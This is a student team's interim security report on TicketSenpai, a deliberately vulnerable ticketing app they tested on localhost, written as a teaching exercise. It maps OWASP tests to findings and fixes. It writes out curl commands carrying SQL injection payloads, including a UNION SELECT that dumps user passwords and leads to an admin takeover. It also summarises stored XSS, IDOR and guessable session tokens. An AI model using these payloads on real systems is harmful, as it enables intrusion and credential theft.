Interim Security Assessment

TicketSenpai - Capstone Milestone 1

This is our interim report for Milestone 1. Our team built the TicketSenpai ticketing app with six intentional weaknesses, and then ran a security test pass against our own running copy so we could document what we found before the other team pen-tests it in Milestone 2. Everything here was done locally on one laptop against http://127.0.0.1:3000. All accounts, shows, payments, and tickets are fake test data. We did not test any system we do not own.

Team TicketSenpai: Bibas Kandel (Lead Developer), Bipul Adhikari, Om Nepal, Sushant Aryal, and Suwan Aryal.

Scope and rules

Target: the TicketSenpai frontend (Next.js) and API (Flask + SQLite), both bound to 127.0.0.1. We tested through the frontend origin on port 3000 so the /api proxy and the session cookie stayed on one origin. We used the three seeded demo accounts and did not attempt anything destructive. Payloads were kept harmless (for example the stored-XSS payload only sets a marker attribute).

Setup and reconnaissance

Setup went as written in the README: `make setup` installed the pinned npm packages, created the Python virtual environment, installed Flask, and seeded the SQLite database; `make dev` started both servers. `make check` passed (20 Flask tests plus the Next.js build), so we were confident the app was running correctly before testing.

For recon we fingerprinted the two servers from their response headers and mapped the API surface by walking the frontend. Findings:

What	Observed
Frontend	Next.js on port 3000. Response header X-Powered-By: Next.js.
API server	Flask behind Werkzeug. Server header: Werkzeug/3.1.9 Python/3.14.7 (dev server, version exposed).
Session model	Cookie named "session", value session-<user id>, Max-Age 86400, HttpOnly, SameSite=Strict, no Secure flag.
Accounts/roles	alice (id 1, customer), bob (id 2, customer), admin (id 3, admin).
Key endpoints	/api/health, /api/events, /api/events/<id>, /api/login, /api/logout, /api/me, /api/register, /api/orders, /api/orders/<id>, /api/admin/events, plus hold/checkout/review routes.

The predictable cookie value and the leaked Werkzeug version were the first two things that stood out, and both turned into findings below.

OWASP WSTG checklist

We used the OWASP Web Security Testing Guide (WSTG) as our checklist. We did not run the whole guide - a lot of it (TLS, multi-factor auth, payment gateways) does not apply to a local HTTP app with simulated payment. We picked the test categories that match our app's actual attack surface: input handling, authentication, session management, authorization, error handling, and configuration. That is where our six planted weaknesses live, so those are the tests worth running and justifying.

WSTG ref	Test	Result
WSTG-INFO-02	Fingerprint web server	Fail - Werkzeug/Python version and X-Powered-By leaked
WSTG-CONF-07	Test HTTP methods	Pass - DELETE/TRACE return 405; OPTIONS 200, no unsafe methods
WSTG-CONF-02	Security headers / config	Fail - no CSP, HSTS, X-Frame-Options, etc. (see next page)
WSTG-INPV-05	SQL injection	Fail - search box is injectable (Finding 1)
WSTG-CLNT-03	Stored XSS	Fail - review HTML runs in another user's browser (Finding 2)
WSTG-ATHZ-04	Insecure direct object reference	Fail - order detail skips ownership check (Finding 3)
WSTG-SESS-01	Session token strength	Fail - token is session-<id>, guessable (Finding 4)
WSTG-ATHN-03	Account lockout / throttling	Fail - 5 bad logins, 6th valid login still works
WSTG-ATHN-07	Credential storage	Fail - passwords stored in plaintext (Finding 5)
WSTG-ERRH-01	Error handling	Fail - 500 returns a full Python traceback (Finding 6)
WSTG-CONF-04	Old/backup/sensitive files	Pass - /.env, /.git/config, the .sqlite3 file, /api/console all 404

Why these and not others: we matched each test to a real feature. The search box gets the injection and header tests, the login/profile flow gets the auth and session tests, the orders and admin routes get the authorization tests, and we added a short config sweep (methods, common sensitive paths) to catch anything obvious. Tests that need things our app does not have (TLS, OAuth, file upload) were left out on purpose.

Configuration testing findings

We looked at the response headers on both the frontend and the API, checked the session cookie flags, tried a few HTTP methods, and probed some common sensitive paths. The raw request/response capture for all of this is saved in docs/evidence/http-results.json (35 records) and can be regenerated with scripts/capture_security_evidence.py.

Security headers

None of the usual security headers were present on any response we checked, on either server:

Header	Present?	Why it matters here
Content-Security-Policy	No	Nothing limits inline/injected scripts - makes the stored XSS worse
X-Frame-Options	No	Pages can be framed (clickjacking)
X-Content-Type-Options	No	Browser may MIME-sniff responses
Strict-Transport-Security	No	No HTTPS enforcement (local HTTP, but still missing)
Referrer-Policy	No	Full referrer could leak on a real deployment
Permissions-Policy	No	Browser features not restricted

Other configuration notes

- Server version disclosure: the API returns `Server: Werkzeug/3.1.9 Python/3.14.7`. That is the built-in dev server and it names exact versions, which helps an attacker pick known exploits.
- Cookie flags: the session cookie has HttpOnly and SameSite=Strict (good), but no Secure flag. On localhost HTTP that is expected, but it would need Secure on a real HTTPS deploy. SameSite=Strict is also the main reason we did not add a CSRF bug - the cookie would not ride along on a cross-site request.
- Verbose errors: a 500 returns the whole Python traceback as JSON (this is Finding 6).

What actually held up

Not everything was broken, and we think it is worth saying so. Unsupported methods return 405. Requesting the admin API without logging in returns 401, and as a normal customer it returns 403, so that access check works. Requests for /.env, /.git/config, the raw ticketsenpai.sqlite3 file, and /api/console all returned 404 - no accidental file or console exposure. So the configuration problems are specifically the missing headers, the leaked server version, and the debug-style error handler.

Documented exploit

We ran several of our planted weaknesses, but the one we are writing up in full is the one with the biggest impact, because it chains two findings together into a full account takeover with no login required.

Exploit: unauthenticated SQL injection -> dump all passwords -> log in as admin

Finding 1 (SQL injection) is in `events()` in `backend/ticketsenpai/__init__.py`, where the search text is pasted straight into the SQL query. Finding 5 is that passwords are stored in plaintext. Put together, an attacker who never logs in can read every account's password.

Step 1 - confirm the injection. Searching for the payload below returns the hidden unpublished show, which proves the WHERE clause is being broken:

```
curl --get --data-urlencode "q=') OR 1=1 -- " \
http://127.0.0.1:3000/api/events
```

Step 2 - dump credentials with a UNION. The search returns event columns, so we union a SELECT off the users table into those columns. No session cookie is sent:

```
curl --get --data-urlencode \
"q=') UNION SELECT id,email,password,'lab','2027-01-01','lab','lab',1,1 FROM users -- " \
http://127.0.0.1:3000/api/events
```

The response comes back as normal "events", but the artist and name fields now hold the passwords and emails for every user:

```
{"artist": "alice-demo", "name": "alice@example.test", ...}
{"artist": "bob-demo", "name": "bob@example.test", ...}
{"artist": "admin-demo", "name": "admin@example.test", ...}
```

Step 3 - log in as admin with the stolen password and reach the admin API:

```
curl -s -X POST http://127.0.0.1:3000/api/login \
-H 'Content-Type: application/json' \
-d '{"email":"admin@example.test","password":"admin-demo"}'
# then the session cookie from that response can call /api/admin/events
```

Result: starting from an unauthenticated request, we read every password off the search endpoint and used the admin one to sign in as the administrator, who can create, edit, and hide shows. Impact is full account takeover across every user, including admin. The fix is to parameterize the search query (which stops the injection) and to store passwords with a salted hash like bcrypt (so even a dump is not directly usable). Either fix alone reduces the damage; both together close it.

Other findings and next steps

The remaining weaknesses from our checklist, in short. Full step-by-step reproductions are in docs/vulnerabilities.md and each one is covered by an automated test in backend/tests/test_app.py.

#	Finding	Quick proof	Fix
2	Stored XSS in reviews	Review HTML (an onerror image) runs when another user loads the event page	Render reviews as text or sanitize
3	IDOR on order detail	Bob opens GET /api/orders/1 and sees Alice's order he does not own	Filter the query by the logged-in user id
4	Predictable session token	Cookie session=session-2 impersonates Bob with no login	Use random tokens, rotate on login
5	Plaintext passwords	Passwords readable in the DB and via the UNION injection above	Hash with a salted adaptive hash
6	Traceback disclosure	A malformed search returns a 500 with the full Python traceback	Log server-side, return an opaque error id
-	No login lockout	Five wrong passwords, then the correct one, all accepted	Throttle or lock after repeated failures

Summary

Our checklist found all six weaknesses we built in, plus the related configuration issues (missing headers, leaked server version, no login lockout). The most serious is the SQL injection, because it chains with plaintext password storage into a no-login admin takeover. On the other side, the admin authorization checks, HTTP method handling, and sensitive-file paths held up, so the problems are specific rather than the whole app being open.

Next steps / honest gaps

This is an interim report, so a few things are still open. We have not yet gone through the Canvas AI Prompt Library and Vulnerability Implementation Guide to confirm every grading detail (for example whether a CSRF case is expected - we left it out because SameSite=Strict blocks it). We also want a second teammate to re-run the auth and session checks before handing the app to the other team for Milestone 2. The weaknesses themselves are intentional and are being left in place for that peer test.